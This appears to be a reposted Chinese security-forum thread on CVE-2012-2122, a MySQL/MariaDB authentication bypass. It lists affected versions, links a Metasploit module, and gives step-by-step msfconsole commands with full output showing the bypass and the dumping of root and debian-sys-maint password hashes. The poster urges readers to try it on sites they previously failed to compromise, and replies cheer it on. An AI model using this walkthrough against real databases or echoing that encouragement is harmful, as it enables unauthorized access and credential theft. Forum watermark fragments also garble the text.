[【转载】] CVE-2012-2122: MySQL身份认证漏洞

Free_小东

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。90sec-国内后起的信息安全论坛之一,专注web安全,软件安全,无线安全等领域技术交流与讨论。我们以最大的努力为网络撑起一片蔚蓝的天空，同时也希望更多的技术爱好者加入我们。9 \  K9 ?' A. h: ?$ T" n  u! P1 W
受影响的产品：
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are90sec9 c1 i1 ~' D1 N9 s2 i, g! B
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.www.90sec.org  G1 |. B' U# ?4 r, |# c1 r
- 专注信息安全( f' h0 F- O) Z+ C2 I
网上已经出了metasploit版本的相应利用工具，下载地址：
http://github.com/rapid7/metasp ... hbypass_hashdump.rb
利用方法如下：

1. $ msfconsole
   
2. msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
   
3. msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
   
4. msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
   
5. msf  auxiliary(mysql_authbypass_hashdump) > run
   
6. [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
   
7. [*] 127.0.0.1:3306 Authentication bypass is 10% complete
   
8. [*] 127.0.0.1:3306 Authentication bypass is 20% complete
   
9. [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
   
10. [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
    
11. [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
    
12. [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
    
13. [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
    
14. [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
    
15. [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
    
16. [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
    
17. [*] Scanned 1 of 1 hosts (100% complete)
    
18. [*] Auxiliary module execution completed
    

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赶快试试吧，说不定以前没日下来的站，这次就日下来了，嘿嘿，刚看到的，就转载过来了

N.O

呵呵这个东西我喜欢。。

安安然

看的头晕，还是看不懂，我真笨